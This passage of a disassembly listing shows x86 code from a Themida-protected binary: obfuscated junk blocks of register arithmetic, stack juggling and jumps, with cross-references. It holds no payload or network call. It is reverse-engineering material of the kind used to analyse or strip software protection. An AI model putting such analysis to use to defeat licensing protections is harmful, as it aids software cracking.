		jmp	loc_5733D5
; ---------------------------------------------------------------------------


loc_5625C6:				; CODE XREF: Themida_:0056C19Cj
		add	edx, 59E94A86h
		add	edx, ecx
		sub	edx, 59E94A86h
		mov	ecx, [esp]
		jmp	loc_56CD99
; ---------------------------------------------------------------------------


loc_5625DC:				; CODE XREF: Themida_:00562937j
		sub	al, bh
		sub	al, 0B1h
		sub	al, 0B8h
		push	small 969h
		mov	[esp], bx
		mov	bh, 0F3h
		add	al, bh
		pop	bx
		mov	bx, [esp]
		add	esp, 2
		push	ecx
		mov	ch, 0BAh
		jmp	loc_5621AC
; ---------------------------------------------------------------------------


loc_562602:				; CODE XREF: Themida_:0056533Aj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_56849D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	65EAh
		jmp	loc_563412
; ---------------------------------------------------------------------------


loc_562631:				; CODE XREF: Themida_:00570BDEj
		not	bh
		xchg	bh, dl
		inc	dl
		neg	dl
		add	dl, 0E2h
		jmp	loc_571958
; ---------------------------------------------------------------------------


loc_562641:				; CODE XREF: Themida_:00572A6Dj
		mov	[esp], edi
		mov	edi, 7F16916h
		push	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		neg	edx
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		push	edx
		mov	edx, 3620341Fh
		dec	edx
		shr	edx, 8
		jmp	loc_564A00
; ---------------------------------------------------------------------------


loc_562674:				; CODE XREF: Themida_:0056E0FEj
		sub	edi, 774D146Ch
		pop	eax
		jmp	loc_563847
; ---------------------------------------------------------------------------


loc_562680:				; CODE XREF: Themida_:0056481Aj
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		jmp	loc_569C0E
; ---------------------------------------------------------------------------


loc_56268E:				; CODE XREF: Themida_:00573357j
		sub	ebx, 62BF1A0Fh
		add	ebx, 28071441h
		add	ebx, ebp
		jmp	loc_56D5B4
; ---------------------------------------------------------------------------
unk_5626A1	db    0			; CODE XREF: Themida_:00565877j
; ---------------------------------------------------------------------------
		clc
		push	ebx
		mov	bl, 0BBh
		push	eax
		mov	al, 0E5h
		jmp	loc_561E47
; ---------------------------------------------------------------------------


loc_5626AE:				; CODE XREF: Themida_:00572F89j
		sub	ebx, ecx
		push	ebp
		mov	ebp, 447F061Dh
		jmp	loc_56ACE4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5626CB:				; CODE XREF: Themida_:0056AB08j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	esi, 735B0226h
		sub	esi, 111E00B7h
		add	esi, 279756Bh
		jmp	loc_56FE9B
; ---------------------------------------------------------------------------


loc_5626E9:				; CODE XREF: Themida_:0056EC5Bj
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 49C96A23h
		xor	ebp, 49C96A27h
		jmp	loc_560086
; ---------------------------------------------------------------------------


loc_5626FE:				; CODE XREF: Themida_:00562448j
		push	bp
		sub	esp, 2
		mov	[esp], dx
		pop	bp
		pop	dx
		push	dx
		not	word ptr [esp]
		jmp	loc_561941
; ---------------------------------------------------------------------------


loc_562716:				; CODE XREF: Themida_:0056ECD1j
		shr	ecx, 2
		push	ebx
		mov	eax, [esp]
		push	73D6h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		push	ecx
		mov	ecx, 59CB0ACDh
		dec	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_5720E1
; ---------------------------------------------------------------------------


loc_562739:				; CODE XREF: Themida_:00561AD4j
		xchg	esi, [esp]
		jmp	loc_56A1EF
; ---------------------------------------------------------------------------


loc_562741:				; CODE XREF: Themida_:00560A97j
		add	ebx, 8B11977Ah
		xor	esi, ebx
		pop	ebx
		xor	eax, esi
		pop	esi
		shr	eax, 3
		push	edx
		mov	edx, 1
		sub	eax, edx
		pop	edx
		jmp	loc_5627B8
; ---------------------------------------------------------------------------


loc_56275E:				; CODE XREF: Themida_:00573DC9j
		push	edx
		mov	dl, 9Ch
		shr	dl, 4
		neg	dl
		jmp	loc_56B71E
; ---------------------------------------------------------------------------


loc_56276B:				; CODE XREF: Themida_:00568570j
		mov	dx, [esp]
		jmp	loc_56394C
; ---------------------------------------------------------------------------


loc_562774:				; CODE XREF: Themida_:005731ABj
		sub	esi, 7B6C2330h
		shl	esi, 2
		add	esi, 752C7FBAh
		push	ecx
		push	edx
		mov	edx, 19373F61h
		dec	edx
		not	edx
		shl	edx, 5
		xor	edx, 96C37C20h
		mov	ecx, edx
		pop	edx
		neg	ecx
		jmp	loc_56EF6A
; ---------------------------------------------------------------------------


loc_5627A0:				; CODE XREF: Themida_:005698C1j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_564761
; ---------------------------------------------------------------------------


loc_5627B8:				; CODE XREF: Themida_:00562759j
		push	eax
		push	ebx
		jmp	loc_560AB5
; ---------------------------------------------------------------------------


loc_5627BF:				; CODE XREF: Themida_:00567A69j
		mov	eax, 4375709Bh
		mov	ecx, eax
		pop	eax
		jmp	loc_567B1A
; ---------------------------------------------------------------------------


loc_5627CC:				; CODE XREF: Themida_:00570DF6j
		mov	[esp], ecx
		push	ebx
		mov	bh, 46h
		mov	cl, 13h
		not	cl
		sub	cl, 0B9h
		sub	cl, 5Fh
		xor	cl, bh
		pop	ebx
		sub	al, 0ACh
		add	al, 0Dh
		sub	al, cl
		sub	al, 0Dh
		push	cx
		mov	cl, 0ACh
		add	al, cl
		pop	cx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_56930F
; ---------------------------------------------------------------------------


loc_5627FC:				; CODE XREF: Themida_:0056DCCDj
		shr	ebp, 2
		add	ebp, 3B881E3Fh
		mov	ebx, 18CAEC72h
		jmp	loc_561877
; ---------------------------------------------------------------------------


loc_56280F:				; CODE XREF: Themida_:0055F80Bj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	56C2h
		jmp	loc_569AEB
; ---------------------------------------------------------------------------


loc_562820:				; CODE XREF: Themida_:00569806j
		and	ebp, esi
		pop	esi
		xor	ebp, 3020001h
		jmp	loc_573ECD
; ---------------------------------------------------------------------------


loc_56282E:				; CODE XREF: Themida_:0056E92Ej
		push	esi
		push	ebx
		mov	ebx, 4
		jmp	loc_5602C7
; ---------------------------------------------------------------------------


loc_56283A:				; CODE XREF: Themida_:0056BB59j
		push	ecx
		mov	ch, 7Ah
		shl	ch, 5
		push	ebx
		mov	bh, 6Ah
		inc	bh
		inc	bh
		neg	bh
		add	bh, 12h
		sub	ch, bh
		pop	ebx
		dec	ch
		add	ch, 81h
		sub	bl, ch
		pop	ecx
		pop	ax
		jmp	loc_571170
; ---------------------------------------------------------------------------


loc_56285E:				; CODE XREF: Themida_:00566338j
		sub	edx, ecx
		jmp	loc_55F8B6
; ---------------------------------------------------------------------------


loc_562865:				; CODE XREF: Themida_:00573AA3j
		mov	esi, 0A6DD87B7h
		mov	edx, esi
		pop	esi
		jmp	loc_560E99
; ---------------------------------------------------------------------------


loc_562872:				; CODE XREF: Themida_:0056D438j
		pop	eax
		add	ebx, edx
		push	edx
		push	ebx
		mov	bh, cl
		push	eax
		mov	ah, bh
		mov	dl, ah
		jmp	loc_5651FF
; ---------------------------------------------------------------------------


loc_562883:				; CODE XREF: Themida_:005680ABj
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 481960BCh
		sub	ebp, ebx
		add	ebp, 481960BCh
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_56E870
; ---------------------------------------------------------------------------


loc_5628A2:				; CODE XREF: Themida_:0057317Fj
		and	edx, 4873248Eh
		sub	edx, 0C767E40Dh
		add	ecx, edx
		jmp	loc_572357
; ---------------------------------------------------------------------------


loc_5628B5:				; CODE XREF: Themida_:005685E8j
		pop	edi
		jmp	loc_56996D
; ---------------------------------------------------------------------------


loc_5628BB:				; CODE XREF: Themida_:00565D10j
		xor	ebx, 1839786Fh
		add	ebx, 1AD263DFh
		sub	ebx, 0F3A91C79h
		jmp	loc_572540
; ---------------------------------------------------------------------------


loc_5628D2:				; CODE XREF: Themida_:005642AFj
		pop	ecx
		jmp	loc_560F60
; ---------------------------------------------------------------------------


loc_5628D8:				; CODE XREF: Themida_:00566776j
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		inc	eax
		sub	esp, 4
		jmp	loc_565310
; ---------------------------------------------------------------------------


loc_5628E8:				; CODE XREF: Themida_:00568622j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bl, 0F4h
		or	bl, 83h
		dec	bl
		inc	bl
		inc	bl
		not	bl
		jmp	loc_570976
; ---------------------------------------------------------------------------


loc_56290D:				; CODE XREF: Themida_:005669F5j
		push	ebp
		mov	ebp, 6C1D1830h
		sub	[esp+8], ebp
		jmp	loc_56DD70
; ---------------------------------------------------------------------------


loc_56291C:				; CODE XREF: Themida_:00563138j
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 12A5353Ah
		jmp	loc_5637E9
; ---------------------------------------------------------------------------


loc_56292E:				; CODE XREF: Themida_:0056C48Fj
		push	edx
		jmp	loc_55F5C5
; ---------------------------------------------------------------------------


loc_562934:				; CODE XREF: Themida_:00562021j
		pop	ebx
		add	al, 0B1h
		jmp	loc_5625DC
; ---------------------------------------------------------------------------


loc_56293C:				; CODE XREF: Themida_:0056CD76j
		mov	cl, dl
		mov	edx, [esp]
		push	edx
		jmp	loc_567DBF
; ---------------------------------------------------------------------------


loc_562947:				; CODE XREF: Themida_:0056A61Cj
		inc	ecx
		and	ecx, 39E97C36h
		xor	ecx, 34B19F5Ch
		add	esi, ecx
		jmp	loc_56947D
; ---------------------------------------------------------------------------


loc_56295B:				; CODE XREF: Themida_:00566309j
		add	ebp, ecx
		jmp	loc_567B0E
; ---------------------------------------------------------------------------


loc_562962:				; CODE XREF: Themida_:005709E5j
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	463Dh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56F478
; ---------------------------------------------------------------------------


loc_562980:				; CODE XREF: Themida_:0056702Dj
		push	1ECh
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		jmp	loc_572130
; ---------------------------------------------------------------------------


loc_562998:				; CODE XREF: Themida_:0056F4A5j
		add	edx, 4
		jmp	loc_565FC5
; ---------------------------------------------------------------------------


loc_5629A3:				; CODE XREF: Themida_:00570BD2j
		push	dword ptr [esp]
		jmp	loc_5609F3
; ---------------------------------------------------------------------------


loc_5629AB:				; CODE XREF: Themida_:0056EA5Dj
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_571312
; ---------------------------------------------------------------------------


loc_5629BC:				; CODE XREF: Themida_:0056C1FFj
		mov	eax, [esp]
		push	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_568299
; ---------------------------------------------------------------------------


loc_5629CE:				; CODE XREF: Themida_:00563327j
		pop	ecx
		sub	eax, 0C287664h
		jmp	loc_562102
; ---------------------------------------------------------------------------


loc_5629D9:				; CODE XREF: Themida_:00565505j
		mov	ecx, 14E862ACh
		add	ecx, 74B024DDh
		jmp	loc_56CB07
; ---------------------------------------------------------------------------


loc_5629E9:				; CODE XREF: Themida_:005729BDj
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56B1B1
; ---------------------------------------------------------------------------


loc_5629F4:				; CODE XREF: Themida_:0056F6AFj
		add	esi, eax
		push	ebx
		mov	ebx, 380521D7h
		sub	esi, ebx
		pop	ebx
		jmp	loc_56BE4E
; ---------------------------------------------------------------------------


loc_562A04:				; CODE XREF: Themida_:0056889Aj
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	5177h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, 132F3CE0h
		jmp	loc_56CF12
; ---------------------------------------------------------------------------


loc_562A2A:				; CODE XREF: Themida_:00568964j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	730Ch
		jmp	loc_565FFE
; ---------------------------------------------------------------------------


loc_562A48:				; CODE XREF: Themida_:0056404Dj
		pop	esp
		mov	[esp], esi
		jmp	loc_56323D
; ---------------------------------------------------------------------------


loc_562A51:				; CODE XREF: Themida_:00563D1Aj
		add	al, 97h
		add	al, dl
		sub	al, 97h
		push	ecx
		mov	ch, 0DAh
		push	ebx
		mov	bl, 54h
		jmp	loc_560A65
; ---------------------------------------------------------------------------


loc_562A62:				; CODE XREF: Themida_:00562E4Cj
		add	ebp, 4B8F3DB2h
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_572CC5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56BA88
; ---------------------------------------------------------------------------


loc_562A87:				; CODE XREF: Themida_:0056B168j
		sub	edx, 0B1C181FFh
		add	esi, edx
		jmp	loc_571E87
; ---------------------------------------------------------------------------


loc_562A94:				; CODE XREF: Themida_:00562D0Ej
		sub	eax, ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	2E7h
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_56A69C
; ---------------------------------------------------------------------------


loc_562ABB:				; CODE XREF: Themida_:0056EA3Bj
		pop	ebp
		push	13DAh
		mov	[esp], ebx
		mov	ebx, 1ECA2B49h
		dec	ebx
		or	ebx, 16AA670Dh
		xor	ebx, 2CA85000h
		sub	ebx, 31A44ADEh
		push	4B23h
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_573AA2
; ---------------------------------------------------------------------------


loc_562AFF:				; CODE XREF: Themida_:005707DBj
		sub	esp, 4
		mov	[esp], ecx
		push	64260D10h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_564E7B
; ---------------------------------------------------------------------------


loc_562B1E:				; CODE XREF: Themida_:005652BAj
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 7DC02492h
		push	edx
		mov	edx, 7E7E1843h
		push	ecx
		mov	ecx, 1BFC5BBFh
		not	ecx
		neg	ecx
		add	ecx, 5DAD0089h
		xor	ecx, 0D4107ABh
		xor	edx, ecx
		jmp	loc_56C3B5
; ---------------------------------------------------------------------------


loc_562B52:				; CODE XREF: Themida_:0056484Fj
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_561DCE
; ---------------------------------------------------------------------------


loc_562B5E:				; CODE XREF: Themida_:0057001Fj
		mov	ebp, [esp]
		add	esp, 4
		or	edi, 5161A11h
		jmp	loc_57183C
; ---------------------------------------------------------------------------


loc_562B6F:				; CODE XREF: Themida_:0057400Ej
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56E4C6
; ---------------------------------------------------------------------------


loc_562B78:				; CODE XREF: Themida_:005649B2j
		add	[esp+4], edx
		add	dword ptr [esp+4], 67BC40F7h
		jmp	loc_565399
; ---------------------------------------------------------------------------


loc_562B89:				; CODE XREF: Themida_:00566303j
		neg	ebp
		jmp	loc_56ABEF
; ---------------------------------------------------------------------------


loc_562B90:				; CODE XREF: Themida_:0057393Bj
		add	ah, 0A6h
		dec	ah
		sub	ah, 10h
		mov	dl, ah
		jmp	loc_5607A0
; ---------------------------------------------------------------------------


loc_562B9F:				; CODE XREF: Themida_:0056F715j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56E381
; ---------------------------------------------------------------------------


loc_562BB1:				; CODE XREF: Themida_:0056066Ej
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_572C32
; ---------------------------------------------------------------------------


loc_562BC2:				; CODE XREF: Themida_:0056B281j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5701C2
; ---------------------------------------------------------------------------


loc_562BDA:				; CODE XREF: Themida_:00566C3Aj
		pop	ecx
		not	ecx
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	esi, [esp]
		jmp	loc_56AA58
; ---------------------------------------------------------------------------


loc_562BEC:				; CODE XREF: Themida_:0056C84Ej
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_560857
; ---------------------------------------------------------------------------


loc_562C0D:				; CODE XREF: Themida_:00570790j
		mov	[esp], ax
		mov	ah, 0A6h
		sub	ch, ah
		mov	ax, [esp]
		add	esp, 2
		sub	al, ch
		pop	ecx
		sub	al, bl
		push	ebx
		mov	bl, 68h
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bl, 0DCh
		jmp	loc_571D55
; ---------------------------------------------------------------------------


loc_562C38:				; CODE XREF: Themida_:0056F973j
		xor	edx, 54273B04h
		mov	ecx, edx
		pop	edx
		sub	ebx, ecx
		pop	ecx
		push	73B9h
		mov	[esp], edx
		jmp	loc_56A0E6
; ---------------------------------------------------------------------------


loc_562C51:				; CODE XREF: Themida_:00562408j
		mov	bl, dh
		jmp	loc_571FA3
; ---------------------------------------------------------------------------


loc_562C58:				; CODE XREF: Themida_:0056CF59j
		push	eax
		mov	eax, 4EBD1289h
		xor	ebp, eax
		pop	eax
		jmp	loc_56544C
; ---------------------------------------------------------------------------


loc_562C66:				; CODE XREF: Themida_:00574087j
		sub	bh, 0F9h
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_572C8B
; ---------------------------------------------------------------------------


loc_562C7F:				; CODE XREF: Themida_:005650B9j
		add	esp, 4
		xor	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dh, 23h
		dec	dh
		xor	dh, 0A1h
		push	eax
		jmp	loc_568F3C
; ---------------------------------------------------------------------------


loc_562C9C:				; CODE XREF: Themida_:00572550j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_56F577
; ---------------------------------------------------------------------------


loc_562CAC:				; CODE XREF: Themida_:00567EC1j
		neg	ebp
		sub	ebp, 53E5E9CBh
		sub	esp, 4
		jmp	loc_56D9FC
; ---------------------------------------------------------------------------


loc_562CBC:				; CODE XREF: Themida_:0056BF58j
		push	edx
		jmp	loc_56B220
; ---------------------------------------------------------------------------


loc_562CC2:				; CODE XREF: Themida_:0056D47Dj
		pop	eax
		pop	edx
		jmp	loc_560F6D
; ---------------------------------------------------------------------------


loc_562CC9:				; CODE XREF: Themida_:0056F0D4j
		sub	dword ptr [esp+4], 78DF5161h
		pop	edi
		push	dword ptr [esp]
		jmp	loc_5714D9
; ---------------------------------------------------------------------------


loc_562CDA:				; CODE XREF: Themida_:00565CB2j
		and	ecx, 72032CE9h
		jmp	loc_5651BF
; ---------------------------------------------------------------------------


loc_562CE5:				; CODE XREF: Themida_:0056DC7Cj
		xor	edi, 20726C73h
		and	edi, 1FAD59B5h
		xor	edi, 2E03513Fh
		inc	edi
		xor	edi, 726E74A4h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 62DF237Bh
		jmp	loc_562A94
; ---------------------------------------------------------------------------


loc_562D13:				; CODE XREF: Themida_:00573DF1j
		add	[esp+4], edi
		push	edx
		jmp	loc_56CB84
; ---------------------------------------------------------------------------


loc_562D1D:				; CODE XREF: Themida_:00566731j
		push	54FDh
		jmp	loc_5665CA
; ---------------------------------------------------------------------------


loc_562D27:				; CODE XREF: Themida_:00570FB2j
		pop	ebx
		mov	eax, [esp]
		jmp	loc_56B8B8
; ---------------------------------------------------------------------------


loc_562D30:				; CODE XREF: Themida_:00565CF1j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		xor	eax, [esp]
		jmp	loc_5675DB
; ---------------------------------------------------------------------------


loc_562D41:				; CODE XREF: Themida_:0056E1ADj
		pop	edx
		push	edx
		push	ebp
		push	39FB04EBh
		jmp	loc_572985
; ---------------------------------------------------------------------------


loc_562D4E:				; CODE XREF: Themida_:0056468Fj
		mov	[esp], ebx
		mov	ebx, 22732DD2h
		neg	ebx
		dec	ebx
		sub	ebx, 31624C16h
		shr	ebx, 2
		jmp	loc_56DE62
; ---------------------------------------------------------------------------


loc_562D67:				; CODE XREF: Themida_:005741A5j
		pop	esp
		mov	[esp], ebx
		mov	ebx, edi
		push	7BF5h
		mov	[esp], ebx
		pop	ecx
		jmp	loc_573249
; ---------------------------------------------------------------------------


loc_562D7B:				; CODE XREF: Themida_:00568CA0j
		shr	ebx, 4
		xor	ebx, 656C0CFFh
		inc	ebx
		sub	ebx, 0EE7E2BE2h
		sub	eax, ebx
		jmp	loc_55F58D
; ---------------------------------------------------------------------------


loc_562D92:				; CODE XREF: Themida_:00561178j
		add	ecx, edx
		jmp	loc_573454
; ---------------------------------------------------------------------------


loc_562D99:				; CODE XREF: Themida_:0056D1F6j
		pop	ecx
		jmp	loc_572203
; ---------------------------------------------------------------------------


loc_562D9F:				; CODE XREF: Themida_:0057360Ej
		add	ecx, 690AE75Dh
		add	ebp, ecx
		pop	ecx
		and	ebp, 64441164h
		inc	ebp
		push	ebx
		mov	ebx, 25EC0628h
		add	ebx, 7ED94682h
		shl	ebx, 4
		or	ebx, 43694150h
		xor	ebx, 4B7DDAEDh
		jmp	loc_574249
; ---------------------------------------------------------------------------


loc_562DCF:				; CODE XREF: Themida_:00561EF9j
		push	4B45h
		mov	[esp], edi
		jmp	loc_56C65C
; ---------------------------------------------------------------------------


loc_562DDC:				; CODE XREF: Themida_:00563993j
		mov	edx, eax
		jmp	loc_567443
; ---------------------------------------------------------------------------


loc_562DE3:				; CODE XREF: Themida_:005659C4j
		xor	[esp], ecx
		jmp	loc_57390C
; ---------------------------------------------------------------------------


loc_562DEB:				; CODE XREF: Themida_:00573724j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_57152C
; ---------------------------------------------------------------------------


loc_562DF7:				; CODE XREF: Themida_:0056A461j
		push	edi
		mov	edi, 499B00B2h
		neg	edi
		inc	edi
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_56855D
; ---------------------------------------------------------------------------


loc_562E0B:				; CODE XREF: Themida_:0056DF88j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5637FA
; ---------------------------------------------------------------------------


loc_562E1B:				; CODE XREF: Themida_:00573530j
		sub	ecx, edi
		sub	ecx, 5C176150h
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_568A6C
; ---------------------------------------------------------------------------


loc_562E2C:				; CODE XREF: Themida_:00570490j
		add	[esp+4], edi
		push	ebp
		mov	ebp, 7EB62D20h
		add	[esp+8], ebp
		pop	ebp
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5663BA
; ---------------------------------------------------------------------------


loc_562E44:				; CODE XREF: Themida_:0056C691j
		sub	ebp, 4B8F3DB2h
		add	ebp, edx
		jmp	loc_562A62
; ---------------------------------------------------------------------------


loc_562E51:				; CODE XREF: Themida_:0056685Cj
		mov	esp, [esp]
		push	edx
		jmp	loc_56A147
; ---------------------------------------------------------------------------


loc_562E5A:				; CODE XREF: Themida_:0056D8FBj
		add	esi, 79FD475Ch
		add	esi, 0AC54AEEEh
		sub	ebx, 2E9B6B19h
		add	ebx, esi
		add	ebx, 2E9B6B19h
		pop	esi
		jmp	loc_567E61
; ---------------------------------------------------------------------------


loc_562E7A:				; CODE XREF: Themida_:00574370j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_56A3D2
; ---------------------------------------------------------------------------


loc_562E93:				; CODE XREF: Themida_:0056415Bj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 76267ADAh
		or	edx, 3486041Ch
		inc	edx
		jmp	loc_568003
; ---------------------------------------------------------------------------


loc_562EBA:				; CODE XREF: Themida_:00565CA4j
		add	al, 0C5h
		jmp	loc_574740
; ---------------------------------------------------------------------------


loc_562EC1:				; CODE XREF: Themida_:0056FF4Dj
		push	ebp
		push	ecx
		push	eax
		mov	eax, 1F470516h
		xor	[esp+4], eax
		pop	eax
		jmp	loc_573BCB
; ---------------------------------------------------------------------------


loc_562ED3:				; CODE XREF: Themida_:00565166j
		inc	edx
		sub	edx, 656F0ED5h
		shl	edx, 1
		sub	edx, 34E01A52h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5682E8
; ---------------------------------------------------------------------------


loc_562F03:				; CODE XREF: Themida_:0056E392j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_568713
; ---------------------------------------------------------------------------


loc_562F11:				; CODE XREF: Themida_:0056498Dj
		mov	ecx, [esp]
		jmp	loc_56D1BB
; ---------------------------------------------------------------------------


loc_562F19:				; CODE XREF: Themida_:005625B3j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_564819
; ---------------------------------------------------------------------------


loc_562F22:				; CODE XREF: Themida_:00561260j
		mov	ch, 0A9h
		add	bl, 17h
		add	bl, ch
		jmp	loc_56C8A9
; ---------------------------------------------------------------------------


loc_562F2E:				; CODE XREF: Themida_:00564655j
		add	esp, 4
		add	esi, 6DAF6873h
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	69h
		mov	[esp], edx
		push	316Fh
		mov	[esp], edi
		push	2A9F7F98h
		pop	edi
		push	ecx
		jmp	loc_56BAF0
; ---------------------------------------------------------------------------


loc_562F5F:				; CODE XREF: Themida_:005724FEj
		push	ebx
		push	59DD50FFh
		pop	ebx
		jmp	loc_56A6F1
; ---------------------------------------------------------------------------


loc_562F6B:				; CODE XREF: Themida_:0056989Cj
		add	edx, 1A447D76h
		pop	ecx
		jmp	loc_571784
; ---------------------------------------------------------------------------


loc_562F77:				; CODE XREF: Themida_:00561E1Ej
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56B86A
; ---------------------------------------------------------------------------


loc_562F85:				; CODE XREF: Themida_:0055F5F3j
		pop	ebp
		mov	ebp, edi
		pop	edi
		mov	edi, 0C5A74B81h
		jmp	loc_57292C
; ---------------------------------------------------------------------------


loc_562F93:				; CODE XREF: Themida_:00569192j
		add	esp, 4
		push	2A63h
		mov	[esp], edx
		pop	dword ptr [ecx]
		mov	ecx, [esp]
		push	0B30h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_574661
; ---------------------------------------------------------------------------


loc_562FC7:				; CODE XREF: Themida_:0055F5D9j
		add	esp, 4
		sub	esp, 4
		jmp	loc_566C7B
; ---------------------------------------------------------------------------


loc_562FD8:				; CODE XREF: Themida_:0056E726j
		push	eax
		push	edi
		mov	edi, 49A91FD3h
		mov	eax, 0B656E031h
		jmp	loc_573790
; ---------------------------------------------------------------------------


loc_562FE9:				; CODE XREF: Themida_:0056D2B5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56FE8F
; ---------------------------------------------------------------------------


loc_563000:				; CODE XREF: Themida_:005644B7j
		sub	esi, edi
		jmp	loc_5704E1
; ---------------------------------------------------------------------------


loc_563007:				; CODE XREF: Themida_:00570E2Fj
		add	ebp, 48E77C7Ch
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 3
		sub	ebp, 0AF89DFD5h
		mov	edx, ebp
		pop	ebp
		inc	edx
		not	edx
		and	edx, 10B02EC4h
		sub	edx, 77F048F1h
		shl	edx, 3
		add	edx, 3A810768h
		jmp	loc_571C12
; ---------------------------------------------------------------------------


loc_563039:				; CODE XREF: Themida_:005728F4j
		sub	ecx, 3BCB5204h
		add	ecx, ebx
		add	ecx, 3BCB5204h
		pop	ebx
		sub	esp, 4
		jmp	loc_56207A
; ---------------------------------------------------------------------------


loc_563053:				; CODE XREF: Themida_:0057351Bj
		sub	ecx, ebx
		add	ecx, 1F615FABh
		add	ecx, 17ED353Ch
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_566EFA
; ---------------------------------------------------------------------------


loc_56307C:				; CODE XREF: Themida_:00568A67j
		push	ecx
		jmp	loc_5668FE
; ---------------------------------------------------------------------------


